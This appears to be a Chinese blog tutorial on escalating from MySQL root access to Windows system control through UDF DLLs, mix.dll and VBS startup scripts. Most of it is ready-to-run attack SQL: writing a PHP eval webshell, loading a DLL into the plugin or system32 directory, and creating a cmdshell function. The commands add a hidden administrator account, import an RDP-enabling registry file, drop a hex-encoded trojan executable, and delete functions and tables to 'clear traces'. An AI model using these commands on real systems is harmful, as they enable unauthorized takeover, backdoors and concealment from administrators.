MySQL扩展接口UDF提权

1.UDF介绍

udf(user-defined function)是MySQL的一个拓展接口,也称为自定义函数。

2. UDF提权条件

1)目标系统是Windows(win2000,XP,win2003)

2)可以将udf.dll写入到相应目录的权限。(如果Mysql版本大于5.1版本,udf.dll文件必须放置于MySQL安装目录下的lib\plugin文件夹下。如果Mysql版本小于5.1版本,udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32.)

3)已经拥有MySQL的某个用户账户,此账号必须有对mysql的insert和delete权限以创建和抛弃函数(MySQL文档原语),一般以root账号为佳,具备root账号所具备的权限的其它账号也可以。

3.提权方法(有webshell的UDF提权、无webshell的UDF提权)

前提:root权限  目的:获取系统权限  总结:UDF提权专用webshell, 导出dll, 再执行命令

1)通过webshell读取数据库配置文件,获取数据库连接用户名密码

2)上传udf.dll

select '<?php eval($_POST['jim'];?>' into outfile 'F:/web/bak.php';  //写入文件

select load_file(木马的十六进制代码) from user into outfile 'D:/web/iis.txt' //导出文件

3)执行SQL

create fucntion cmdshell returns string soname "udf.dll";  //创建cmdshell函数

select cmdshell ('net user aaa 123 /add');  //执行cmd命令

select cmdshell ('net localgroup administrators aaa /add');  

select cmdshell ('regedit /s d:\web\3389.reg');

select cmdshell('netstat -an');

drop function cmdshell;  //删除cmdshell函数,清除痕迹

select @@plugin_dir

select version(); //显示数据库版本

select @@basedir //获取MySQL安装目录  

select user(); //获取当前用户

二、mix.dll提权

1.获取root权限

2.把DLL放到系统目录

create table mix(abc longblob);

insert into mix values(load_file('D:\\web\\udf.dll'));  //读文件

select * from mix into outfile 'C:\\windows\\system32\\udf.dll';  、写文件

3.创建函数,执行系统命令

create function cmdshell returns string soname 'udf.dll';

select cmdshell('net user aaa 123 /add');

select cmdshell('net localgroup administrators aaa /add');

select cmdshell('net user');

4.删除函数,清除痕迹

drop table if exists mix;

三、VBS启动项提权

1.webshell连接数据库

2.执行SQL

create table vbs (cmd text);  //创建表

insert into vbs values ("set cmdshell=createobject ("wscript.shell")");

insert into vbs values ("a=cmdshell.run("cmd.exe /c net user aaa 123 /add",0)");

insert into vbs valuse ("b=cmdshell.run("cmd.exe /c net localgroup administrators aaa /add",0)");

select * from vbs into outfile "c:\\users\\a.vbs";  //导入启动项

drop table vbs;  //删除表

或者

create table class (cmd BLOB);

insert into class values (CONVERT(木马的十六进制,char));

select * from class into dumpfile 'C:\\users\\mm.exe';  

drop table class;







  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值